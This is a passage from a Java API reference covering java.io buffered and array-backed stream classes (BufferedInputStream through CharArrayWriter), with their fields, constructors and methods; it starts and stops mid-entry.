protected byte[] buf

Description

The buffer that stores the data from the input stream.

count

protected int count

Description

A placeholder that marks the end of valid data in the buffer.

marklimit

protected int marklimit

Description

The maximum number of bytes that can be read after a call to mark() before a call to reset() fails.

markpos

protected int markpos

Description

The position of the stream when mark() was called. If mark() has not been called, this variable is -1.

pos

protected int pos

Description

The current position in the buffer, or in other words, the index of the next character to be read.

Constructors

BufferedInputStream

public BufferedInputStream(InputStream in)

Parameters

in

The input stream to buffer.

Description

This constructor creates a BufferedInputStream that buffers input from the given InputStream, using a buffer with the default size of 2048 bytes.

public BufferedInputStream(InputStream in, int size)

Parameters

in

The input stream to buffer.

size

The size of buffer to use.

Description

This constructor creates a BufferedInputStream that buffers input from the given InputStream, using a buffer of the given size.

Instance Methods

available

public synchronized int available() throws IOException

Returns

The number of bytes that can be read without blocking.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.available()

Description

This method returns the number of bytes that can be read without having to wait for more data to become available. The returned value is the sum of the number of bytes remaining in the object's buffer and the number returned as the result of calling the available() method of the underlying InputStream object.

mark

public synchronized void mark(int readlimit)

Parameters

readlimit

The maximum number of bytes that can be read before the saved position becomes invalid.

Overrides

FilterInputStream.mark()

Description

This method causes the BufferedInputStream to remember its current position. A subsequent call to reset() causes the object to return to that saved position, and thus reread a portion of the buffer.

markSupported

public synchronized boolean markSupported()

Returns

The boolean value true.

Overrides

FilterInputStream.markSupported()

Description

This method returns true to indicate that this class supports mark() and reset().

read

public synchronized int read() throws IOException

Returns

The next byte of data or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read()

Description

This method returns the next byte from the buffer. If all the bytes in the buffer have been read, the buffer is filled from the underlying InputStream and the next byte is returned. If the buffer does not need to be filled, this method returns immediately. If the buffer needs to be filled, this method blocks until data is available from the underlying InputStream, the end of the stream is reached, or an exception is thrown.

 public synchronized int read(byte b[], int off, int len) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The actual number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read(byte[], int, int)

Description

This method copies bytes from the internal buffer into the given array b, starting at index off and continuing for up to len bytes. If there are any bytes in the buffer, this method returns immediately. Otherwise the buffer needs to be filled; this method blocks until the data is available from the underlying InputStream, the end of the stream is reached, or an exception is thrown.

reset

public synchronized void reset() throws IOException

Throws

IOException

If there was no previous call to this BufferedInputStream's mark method, or the saved position has been invalidated.

Overrides

FilterInputStream.reset()

Description

This method sets the position of the BufferedInputStream to a position that was saved by a previous call to mark(). Subsequent bytes read from this BufferedInputStream will begin from the saved position and continue normally.

skip

public synchronized long skip(long n) throws IOException

Parameters

n

The number of bytes to skip.

Returns

The actual number of bytes skipped.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.skip()

Description

This method skips n bytes of input. If the new position of the stream is still within the data contained in the buffer, the method returns immediately. Otherwise the skip() method of the underlying stream is called. A subsequent call to read() forces the buffer to be filled.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | FilterInputStream
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
read(byte[]) | FilterInputStream | toString() | Object
void wait() | Object | void wait(long) | Object
void wait(long, int) | Object |  |

See Also

FilterInputStream, InputStream, IOException

Previous | Home | Next
Writer | Book Index | BufferedOutputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] BufferedOutputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

BufferedOutputStream

Name

BufferedOutputStream

Synopsis

Class Name:

java.io.BufferedOutputStream

Superclass:

java.io.FilterOutputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A BufferedOutputStream object provides a more efficient way to write just a few bytes at a time to an OutputStream. BufferedOutputStream objects use a buffer to store output for an associated OutputStream. In other words, a large number of bytes are stored in an internal buffer and only written when the buffer fills up or is explicitly flushed. A BufferedOutputStream is more efficient than a regular OutputStream because the data is written to memory, rather than a disk or a network. Minimizing the number of write operations to a disk or the network minimizes the cumulative overhead for these operations.

You should wrap a BufferedOutputStream around any OutputStream whose write() operations may be time consuming or costly, such as a FileOutputStream.

Class Summary

public class java.io.BufferedOutputStream
             extends java.io.FilterOutputStream {
  // Variables
  protected byte[] buf;
  protected int count;
  // Constructors
  public BufferedOutputStream(OutputStream out);
  public BufferedOutputStream(OutputStream out, int size);
  // Instance Methods
  public synchronized void flush();
  public synchronized void write(int b);
  public synchronized void write(byte[] b, int off, int len);
}

Variables

buf

protected byte[] buf

Description

The buffer that stores the data for the output stream.

count

protected int count

Description

The current position in the buffer.

Constructors

BufferedOutputStream

public BufferedOutputStream(OutputStream out)

Parameters

out

The output stream to buffer.

Description

This constructor creates a BufferedOutputStream that acts on the specified OutputStream, using a buffer with the default size of 512 bytes.

public BufferedOutputStream(OutputStream out, int size)

Parameters

out

The output stream to buffer.

size

The size of buffer to use.

Description

This constructor creates a BufferedOutputStream that acts on the specified OutputStream, using a buffer that is size bytes long.

Instance Methods

flush

public synchronized void flush() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterOutputStream.flush()

Description

This method writes the contents of the buffer to the underlying output stream. It is called automatically when the buffer fills up. You can also call it before the buffer is full. This is known as "flushing" the buffer. This method blocks until the underlying write() is complete.

write

public synchronized void write(int b) throws IOException

Parameters

b

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterOutputStream.write(int)

Description

This method places a byte containing the low-order eight bits of the given integer into the buffer. If the buffer is full, it is flushed, and the value b is placed in the newly empty buffer. If the buffer is flushed, this method blocks until flush() returns; otherwise this method returns immediately.

 public synchronized void write(byte b[], int off, int len) throws IOException

Parameters

b

An array of bytes to write to the stream.

off

An offset into the byte array.

len

The number of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterOutputStream.write(byte[], int, int)

Description

This method copies len bytes from b, starting at off, into the buffer. If there is enough space left in the buffer for the new data, it is copied into the buffer and the method returns immediately. Otherwise, the buffer is flushed, and the new data is written directly to the underlying stream. This is subtly different from the behavior of write(int), which places new data in the buffer after a flush().

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | FilterOutputStream
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object
write(byte[]) | FilterOutputStream |  |

See Also

FilterOutputStream, IOException, OutputStream

Previous | Home | Next
BufferedInputStream | Book Index | BufferedReader
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] BufferedReader

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

BufferedReader

Name

BufferedReader

Synopsis

Class Name:

java.io.BufferedReader

Superclass:

java.io.Reader

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A BufferedReader object provides a more efficient way to read just a few characters at a time from a Reader. BufferedReader objects use a buffer to store input from an associated Reader. In other words, a large number of characters are read from the underlying reader and stored in an internal buffer. A BufferedReader is more efficient than a regular Reader because reading data from memory is faster than reading it from a disk or a network. All reading is done directly from the buffer; the disk or network needs to be accessed only occasionally to fill up the buffer.

You should wrap a BufferedReader around any Reader whose read() operations may be time consuming or costly, such as a FileReader or InputStreamReader.

BufferedReader provides a way to mark a position in the stream and subsequently reset the stream to that position, using mark() and reset().

A BufferedReader is similar to a BufferedInputStream, but it operates on a stream of Java characters instead of a byte stream, which makes it easier to support internationalization.

Class Summary

public class java.io.BufferedReader extends java.io.Reader {
  // Constructors
  public BufferedReader(Reader in);
  public BufferedReader(Reader in, int sz);
  // Instance Methods
  public void close();
  public void mark(int readAheadLimit);
  public boolean markSupported();
  public int read();
  public int read(char[] cbuf, int off, int len);
  public String readLine();
  public boolean ready();
  public void reset();
  public long skip(long n);
}

Constructors

BufferedReader

public BufferedReader(Reader in)

Parameters

in

The reader to buffer.

Description

This constructor creates a BufferedReader that buffers input from the given Reader using a buffer with the default size of 8192 characters.

public BufferedReader(Reader in, int sz)

Parameters

in

The reader to buffer.

sz

The size of buffer to use.

Throws

IllegalArgumentException

If the specified size is less than 0.

Description

This constructor creates a BufferedReader that buffers input from the given Reader, using a buffer of the given size.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

Reader.close()

Description

This method closes this BufferedReader and its underlying Reader.

mark

public void mark(int readAheadLimit) throws IOException

Parameters

readlimit

The maximum number of bytes that can be read before the saved position becomes invalid.

Throws

IOException

If the stream is closed.

Overrides

Reader.mark(int)

Description

This method causes the BufferedReader to remember its current position. A subsequent call to reset() causes the object to return to that saved position, and thus reread a portion of the buffer.

markSupported

public boolean markSupported()

Returns

The boolean value true.

Overrides

Reader.markSupported()

Description

This method returns true to indicate that this class supports mark() and reset().

read

public int read() throws IOException

Returns

The next character of data, or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Reader.read()

Description

This method returns the next character from the buffer. If all the characters in the buffer have been read, the buffer is filled from the underlying Reader, and the next character is returned. If the buffer does not need to be filled, this method returns immediately. If the buffer needs to be filled, this method blocks until data is available from the underlying Reader, the end of the stream is reached, or an exception is thrown.

public int read(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to be filled from the stream.

off

Offset into the character array.

len

Number of characters to read.

Returns

The actual number of characters read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Reader.read(char[], int, int)

Description

This method reads characters from the internal buffer into the given array cbuf, starting at index off and continuing for up to len bytes. If there are any characters in the buffer, this method returns immediately. Otherwise the buffer needs to be filled; this method blocks until the data is available from the underlying InputStream, the end of the stream is reached, or an exception is thrown.

readLine

public String readLine() throws IOException

Returns

A String containing the line just read, or null if the end of the stream has been reached.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads a line of text. Lines are terminated by "\n", "\r", or "\r\n". The line terminators are not returned with the line string.

ready

public boolean ready() throws IOException

Returns

A boolean value that indicates whether the stream is ready to be read.

Throws

IOException

If the stream is closed.

Overrides

Reader.ready()

Description

If there is data in the buffer, or if the underlying stream is ready, this method returns true. The underlying stream is ready if the next read() is guaranteed to not block. Note that a return value of false does not guarantee that the next read operation will block.

reset

public void reset() throws IOException

Throws

IOException

If the reader is closed, mark() has not been called, or the saved position has been invalidated.

Overrides

Reader.reset()

Description

This method sets the position of the BufferedReader to a position that was saved by a previous call to mark(). Subsequent characters read from this BufferedReader will begin from the saved position and continue normally.

skip

public long skip(long n) throws IOException

Parameters

n

The number of characters to skip.

Returns

The actual number of characters skipped.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Reader.skip()

Description

This method skips n characters of input. If the new position of the stream is still within the data contained in the buffer, the method returns immediately. Otherwise the buffer is repeatedly filled until the requested position is available.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | read(char[]) | Reader
toString() | Object | void wait() | Object
void wait(long) | Object | void wait(long, int) | Object

See Also

IllegalArgumentException, IOException, Reader, String

Previous | Home | Next
BufferedOutputStream | Book Index | BufferedWriter
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] BufferedWriter

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

BufferedWriter

Name

BufferedWriter

Synopsis

Class Name:

java.io.BufferedWriter

Superclass:

java.io.Writer

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A BufferedWriter object provides a more efficient way to write just a few characters at a time to a Writer. BufferedWriter objects use a buffer to store output for an associated Writer. In other words, a large number of characters are stored in an internal buffer and only written when the buffer fills up or is explicitly flushed. A BufferedWriter is more efficient than a regular Writer because the data is written to memory, rather than a disk or a network. Minimizing the number of write operations to a disk or the network minimizes the cumulative overhead for these operations.

You should wrap a BufferedWriter around any Writer whose write() operations may be time consuming or costly, such as a FileWriter or a OutputStreamWriter.

This class is very similar to BufferedOutputStream, but it operates on a stream of Java characters instead of a byte stream; this makes it easier to support internationalization.

Class Summary

public class java.io.BufferedWriter extends java.io.Writer {
  // Constructors
  public BufferedWriter(Writer out);
  public BufferedWriter(Writer out, int size);
  // Instance Methods
  public void close();
  public void flush();
  public void newLine();
  public void write(int c);
  public void write(char[] cbuf, int off, int len);
  public void write(String s, int off, int len);
}

Constructors

BufferedWriter

public BufferedWriter (Writer out)

Parameters

out

The output stream to buffer.

Description

This constructor creates a BufferedWriter that acts on the specified Writer, using a buffer with the default size of 8192 characters.

public BufferedWriter (Writer out, int size)

Parameters

out

The output stream to buffer.

size

The size of buffer to use.

Throws

IllegalArgumentException

If the specified size is less than 0.

Description

This constructor creates a BufferedWriter that acts on the specified Writer, using a buffer that is size bytes long.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.close()

Description

This method closes this BufferedWriter and its underlying Writer.

flush

public void flush() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.flush()

Description

This method writes the contents of the buffer to the underlying Writer and calls flush() on the underlying Writer. It is called automatically when the buffer fills up. You can also call it before the buffer is full. This is known as "flushing" the buffer. This method blocks until the underlying write() is complete.

newLine

public void newLine() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes the newline character or characters to the stream. It uses System.getProperty('line.separator') to choose the newline appropriate for the run-time system. Calling this method is preferable to explicitly writing a newline character.

write

public void write(int c) throws IOException

Parameters

c

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.write(int)

Description

This method places the low-order 16 bits of the specified value into the buffer. If the buffer is full, it is flushed, and the value c is placed in the newly empty buffer. If the buffer is flushed, this method blocks while the data is written; otherwise this method returns immediately.

 public void write(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to write.

off

An offset into the character array.

len

The number of characters to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.write(char[], int, int)

Description

This method copies len characters from cbuf, starting at off, into the buffer. If there is enough space left in the buffer for the new data, it is copied into the buffer, and the method returns immediately. Otherwise, the buffer is filled and flushed repeatedly until all the new data has been copied into the buffer.

public void write(String s, int off, int len) throws IOException

Parameters

s

The string to be written.

off

An offset into the string.

len

The number of characters to write.

Throws

IOException

If an I/O error occurs.

Overrides

Writer.write(String, int, int)

Description

This method copies len characters from s, starting at off, into the buffer. If there is enough space left in the buffer for the new data, it is copied into the buffer and the method returns immediately. Otherwise, the buffer is filled and flushed repeatedly until all the new data has been copied into the buffer.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object | write(char[]) | Writer
write(String) | Writer |  |

See Also

IllegalArgumentException, IOException, String, Writer

Previous | Home | Next
BufferedReader | Book Index | ByteArrayInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] ByteArrayInputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

ByteArrayInputStream

Name

ByteArrayInputStream

Synopsis

Class Name:

java.io.ByteArrayInputStream

Superclass:

java.io.InputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A ByteArrayInputStream is a stream whose data comes from a byte array. None of the methods of this class throw an IOException because the data comes from an array instead of an actual I/O device. This class does not support the ability to mark a position in the stream. A call to reset(), however, does position the stream at the beginning of the byte array.

The position of the end of the stream depends on the constructor used. If the ByteArrayInputStream(byte[] buf) constructor is used, the end of the stream is the end of the byte array. If the ByteArrayInputStream(byte[] buf, int offset, int length) constructor is used, the end of the stream is reached at the index given by offset+length.

Class Summary

public class java.io.ByteArrayInputStream extends java.io.InputStream {
  // Variables
  protected byte[] buf;
  protected int count;
  protected int pos;
  // Constructors
  public ByteArrayInputStream(byte[] buf);
  public ByteArrayInputStream(byte[] buf, int offset, int length);
  // Instance Methods
  public synchronized int available();
  public synchronized int read();
  public synchronized int read(byte[] b, int off, int len);
  public synchronized void reset();
  public synchronized long skip(long n);
}

Variables

buf

protected byte[] buf

Description

The buffer represented by this stream.

count

protected int count

Description

A placeholder that marks the end of the data this ByteArrayInputStream represents.

pos

protected int pos

Description

The current position in the buffer.

Constructors

ByteArrayInputStream

public ByteArrayInputStream(byte[] buf)

Parameters

buf

The stream source.

Description

This constructor creates a ByteArrayInputStream object that uses the given array of bytes as its data source. The data is not copied, so changes made to the array affect the data the ByteArrayInputStream returns.

public ByteArrayInputStream(byte[] buf, int offset, int length)

Parameters

buf

The stream source.

offset

An index into the buffer where the stream should begin.

length

The number of bytes to read.

Description

This constructor creates a ByteArrayInputStream that uses, as its data source, length bytes in a given array of bytes, starting at offset bytes from the beginning of the array. The data is not copied, so changes made to the array affect the data the ByteArrayInputStream returns.

Instance Methods

available

public synchronized int available()

Returns

The number of bytes remaining to be read in the array.

Overrides

InputStream.available()

Description

This method returns the number of bytes remaining to be read in the byte array.

read

public synchronized int read()

Returns

The next byte or -1 if the end of the stream is encountered.

Overrides

InputStream.read()

Description

This method returns the next byte in the array.

public synchronized int read(byte[] b, int off, int len)

Parameters

b

An array to read bytes into.

off

An offset into b.

len

The number of bytes to read.

Returns

The number of bytes read or -1 if the end of the stream is encountered.

Overrides

InputStream.read(byte[], int, int)

Description

This method copies up to len bytes from its internal byte array into the given array b, starting at index off.

reset

public synchronized void reset()

Overrides

InputStream.reset()

Description

This method resets the position of the input stream to the beginning of the byte array. If you specified an offset into the array, you might expect this method to reset the position to where you first started reading from the stream, but that is not the case.

skip

public synchronized long skip(long n)

Parameters

n

The number of bytes to skip.

Returns

The number of bytes skipped.

Overrides

InputStream.skip()

Description

This method skips n bytes of input. If you try to skip past the end of the array, the stream is positioned at the end of the array.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | InputStream
equals (Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
mark(int) | InputStream | markSupported () | InputStream
notify() | Object | notifyAll() | Object
read(byte[]) | InputStream | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

InputStream, String

Previous | Home | Next
BufferedWriter | Book Index | ByteArrayOutputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] ByteArrayOutputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

ByteArrayOutputStream

Name

ByteArrayOutputStream

Synopsis

Class Name:

java.io.ByteArrayOutputStream

Superclass:

java.io.FilterOutputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A ByteArrayOutputStream is a stream whose data is written to an internal byte array. None of the methods of this class throws an IOException because the data is written to an array instead of an actual I/O device.

The data for a ByteArrayOutputStream can be sent to another OutputStream using the writeTo() method. A copy of the array can be obtained using the toCharArray() method.

Class Summary

public class java.io.ByteArrayOutputStream extends java.io.OutputStream {
  // Variables
  protected byte[] buf;
  protected int count;

  // Constructors
  public ByteArrayOutputStream();
  public ByteArrayOutputStream(int size);
  // Instance Methods
  public synchronized void reset();
  public int size( );
  public synchronized byte[] toByteArray();
  public String toString();
  public String toString(int hibyte);            // Deprecated in 1.1
  public String toString(String enc);            // New in 1.1
  public synchronized void write(int b);
  public synchronized void write(byte[] b, int off, int len);
  public synchronized void writeTo(OutputStream out);
}

Variables

buf

protected byte[] buf

Description

The buffer that holds data for this stream.

count

protected int count

Description

A placeholder that marks the end of the data in the buffer.

Constructors

ByteArrayOutputStream

public ByteArrayOutputStream()

Description

This constructor creates a ByteArrayOutputStream with an internal buffer that has a default size of 32 bytes. The buffer grows automatically as data is written to the stream.

public ByteArrayOutputStream(int size)

Parameters

size

The initial buffer size.

Description

This constructor creates a ByteArrayOutputStream with an internal buffer that has a size of size bytes. The buffer grows automatically as data is written to the stream.

Instance Methods

reset

public synchronized void reset()

Description

This method discards the current contents of the buffer and resets the position of the stream to zero. Subsequent data is written starting at the beginning of the array.

size

public int size()

Description

This method returns the number of bytes currently stored in this object's internal buffer. It is a count of the number of bytes that have been written to the stream.

toByteArray

public synchronized byte[] toByteArray()

Returns

A copy of the data that has been written to this ByteArrayOutputStream.

Description

This method copies the data in the internal array and returns a reference to the copy. The returned array is as long as the data that has been written to the stream, i.e., the same as size().

toString

public String toString()

Returns

A copy of the data that has been written to this ByteArrayOutputStream.

Overrides

Object.toString()

Description

This method returns a reference to a String object that contains a copy of the bytes currently stored in this object's internal buffer. The bytes are assumed to represent characters in the encoding that is customary for the native platform, so the bytes are converted to Unicode characters based on that assumption.

public String toString(int hibyte)

Availability

Deprecated as of JDK 1.1

Parameters

hibyte

A value to use as the high byte of each character.

Returns

A copy of the data that has been written to this ByteArrayOutputStream, where each character in the string has a high byte of hibyte and a low byte taken from the corresponding byte in the array.

Description

This method provides a way to convert from bytes to characters. As of 1.1, it is deprecated and replaced with toString(String).

 public String toString(String enc) throws UnsupportedEncodingException

Availability

New as of JDK 1.1

Parameters

enc

The encoding scheme to use.

Returns

A copy of the data that has been written to this ByteArrayOutputStream, converted from bytes to characters via the named encoding scheme enc.

Throws

UnsupportedEncodingException

The specified encoding is not supported.

Description

This method returns a Java String created from the byte array of this stream. The conversion is performed according to the encoding scheme enc.

write

public synchronized void write(int b)

Parameters

b

The value to write.

Overrides

OutputStream.write(int)

Description

This method writes the low-order 8 bits of the given value into the internal array. If the array is full, a larger array is allocated.

public synchronized void write(byte b[], int off, int len)

Parameters

b

The array to copy from.

off

Offset into the byte array.

len

Number of bytes to write.

Overrides

OutputStream.write(byte[], int, int)

Description

This method copies len bytes to this object's internal array from b, starting oset elements from the beginning of the supplied array b. If the internal array is full, a larger array is allocated.

writeTo

 public synchronized void writeTo(OutputStream out) throws IOException

Parameters

out

The destination stream.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes the contents of this object's internal buffer to the given OutputStream. All the data that has been written to this ByteArrayOutputStream is written to out.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | OutputStream
equals(Object) | Object | finalize() | Object
flush() | OutputStream | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object
write(byte[]) | OutputStream |  |

See Also

IOException, OutputStream, String, UnsupportedEncodingException

Previous | Home | Next
ByteArrayInputStream | Book Index | CharArrayReader
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] CharArrayReader

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

CharArrayReader

Name

CharArrayReader

Synopsis

Class Name:

java.io.CharArrayReader

Superclass:

java.io.Reader

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The CharArrayReader class represents a stream whose data comes from a character array. This class is similar to ByteArrayInputStream, but it deals with a Java character stream rather than a byte stream. Furthermore, this class supports marking a position in the stream, which ByteArrayInputStream does not.

The position of the end of the stream depends on the constructor used. If the CharArrayReader(char[] buf) constructor is used, the end of the stream is the end of the character array. If the CharArrayReader(char[] buf, int offset, int length) constructor is used, the end of the stream is reached at the index given by offset+length.

Class Summary

public class java.io.CharArrayReader extends java.io.Reader {
  // Variables
  protected char[] buf;
  protected int count;
  protected int markedPos;
  protected int pos;
  // Constructors
  public CharArrayReader(char[] buf);
  public CharArrayReader(char[] buf, int offset, int length);
  // Instance Methods
  public void close();
  public void mark(int readAheadLimit);
  public boolean markSupported();
  public int read();
  public int read(char[] b, int off, int len);
  public boolean ready();
  public void reset();
  public long skip(long n);
}

Variables

buf

protected char[] buf

Description

The buffer represented by this reader.

count

protected int count

Description

The size of the buffer, or in other words, the length of the array.

markedPos

protected int markedPos

Description

The buffer position when mark() was called. If mark() has not been called, this variable is 0.

pos

protected int pos

Description

The current position in the buffer.

Constructors

CharArrayReader

public CharArrayReader(char[] buf)

Parameters

buf

The reader source.

Description

This constructor creates a CharArrayReader object that uses the given array of characters as its data source. The data is not copied, so changes made to the array affect the data that the CharArrayReader returns.

public CharArrayReader(char[] buf, int offset, int length)

Parameters

buf

The reader source.

offset

An offset into the array.

length

The number of bytes to read.

Description

This constructor creates a CharArrayReader that uses, as its data source, length characters in a given array of bytes, starting at offset characters from the beginning of the array. The data is not copied, so changes made to the array affect the data that the CharArrayReader returns.

Instance Methods

close

public void close()

Overrides

Reader.close()

Description

This method closes the reader by removing the link between this CharArrayReader and the array it was created with.

mark

public void mark(int readAheadLimit) throws IOException

Parameters

readAheadLimit

The maximum number of characters that can be read before the saved position becomes invalid.

Throws

IOException

If the stream is closed or any other kind of I/O error occurs.

Overrides

Reader.mark(int)

Description

This method causes the CharArrayReader to remember its current position. A subsequent call to reset() causes the object to return to that saved position, and thus reread a portion of the buffer. Because the data for this stream comes from a char array, there is no limit on reading ahead, so readAheadLimit is ignored.

markSupported

public boolean markSupported()

Returns

The boolean value true.

Overrides

Reader.markSupported()

Description

This method returns true to indicate that this class supports mark() and reset().

read

public int read() throws IOException

Returns

The next character or -1 if the end of the stream is encountered.

Throws

IOException

If the stream is closed or any other kind of I/O error occurs.

Overrides

Reader.read()

Description

This method returns the next character in the array.

public int read(char[] b, int off, int len) throws IOException

Parameters

b

An array of characters to be filled from the stream.

off

An offset into the character array.

len

The number of characters to read.

Returns

The actual number of characters read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If the stream is closed or any other kind of I/O error occurs.

Overrides

Reader.read(char[], int, int)

Description

This method copies up to len characters from its internal array into the given array b, starting at index off.

ready

public boolean ready() throws IOException

Returns

A boolean value that indicates whether the stream is ready to be read.

Throws

IOException

If the stream is closed or any other kind of I/O error occurs.

Overrides

Reader.ready()

Description

If there is any data left to be read from the character array, this method returns true.

reset

public void reset() throws IOException

Throws

IOException

If the stream is closed or any other kind of I/O error occurs.

Overrides

Reader.reset()

Description

This method resets the position of the CharArrayReader to the position that was saved by calling the mark() method. If mark() has not been called, the CharArrayReader is reset to read from the beginning of the array.

skip

public long skip(long n) throws IOException

Parameters

n

The number of characters to skip.

Returns

The actual number of characters skipped.

Throws

IOException

If the stream is closed or any other kind of I/O error occurs.

Overrides

Reader.skip()

Description

This method skips n characters of input. If you try to skip past the end of the array, the stream is positioned at the end of the array.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals (Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | read(char[]) | Reader
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

IOException, Reader, String

Previous | Home | Next
ByteArrayOutputStream | Book Index | CharArrayWriter
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] CharArrayWriter

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

CharArrayWriter

Name

CharArrayWriter

Synopsis

Class Name:

java.io.CharArrayWriter

Superclass:

java.io.Writer

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The CharArrayWriter class represents a stream whose data is written to an internal character array. This class is similar to ByteArrayOutputStream, but it operates on an array of Java characters instead of a byte array.

The data from a CharArrayWriter can be sent to another Writer using the writeTo() method. A copy of the array can be obtained using the toCharArray() method.

Class Summary

public class java.io.CharArrayWriter extends java.io.Writer {
  // Variables
  protected char[] buf;
  protected int count;
  // Constructors
  public CharArrayWriter();
  public CharArrayWriter(int initialSize);
  // Instance Methods
  public void close();
  public void flush();
  public void reset();
  public int size();
  public char[] toCharArray();
  public String toString();
  public void write(int c);
  public void write(char[] c, int off, int len);
  public void write(String str, int off, int len);
  public void writeTo(Writer out);
}

Variables

buf

protected char[] buf

Description

The buffer that holds data for this stream.

count

protected int count

Description

A placeholder that marks the end of the data in the buffer.

Constructors

CharArrayWriter

public CharArrayWriter()

Description

This constructor creates a CharArrayWriter with an internal buffer that has a default size of 32 characters. The buffer grows automatically as data is written to the stream.

public CharArrayWriter(int initialSize)

Parameters

initialSize

The initial buffer size.

Description

This constructor creates a CharArrayWriter with an internal buffer that has a size of initialSize characters. The buffer grows automatically as data is written to the stream.

Instance Methods

close

public void close()

Overrides

Writer.close()

Description

This method does nothing. For most subclasses of Writer, this method releases any system resources that are associated with the Writer object. However, the CharArrayWriter's internal array may be needed for subsequent calls to toCharArray() or writeTo(). For this reason, close() does nothing, and the internal array is not released until the CharArrayWriter is garbage collected.

flush

public void flush()

Overrides

Writer.flush()

Description

This method does nothing. The CharArrayWriter writes data directly into its internal array; thus it is never necessary to flush the stream.

reset

public void reset()

Description

This method discards the current contents of the buffer and resets the position of the stream to zero. Subsequent data is written starting at the beginning of the array.

size

public int size()

Description

This method returns the number of characters currently stored in this object's internal buffer. It is a count of the number of characters that have been written to the stream.

toCharArray

public char[] toCharArray()

Returns

A copy of the data that has been written to this CharArrayWriter in the form of a char array.

Description

This method copies the data in the internal array and returns a reference to the copy. The returned array is as long as the data that has been written to the stream, i.e., the same as size().

toString

public String toString()

Returns

A copy of the data that has been written to this CharArrayWriter in the form of a String.

Overrides

Object.toString()

Description

This method returns a reference to a String object created from the characters stored in this object's internal buffer.

write

public void write(int c)

Parameters

c

The value to write.

Overrides

Writer.write(int)

Description

This method writes the low-order 16 bits of the given value into the internal array. If the array is full, a larger array is allocated.

public void write(char[] c, int off, int len)

Parameters

c

An array of characters to write to the stream.

off

An offset into the character array.

len

The number of characters to write.

Overrides

Writer.write(char[], int, int)

Description

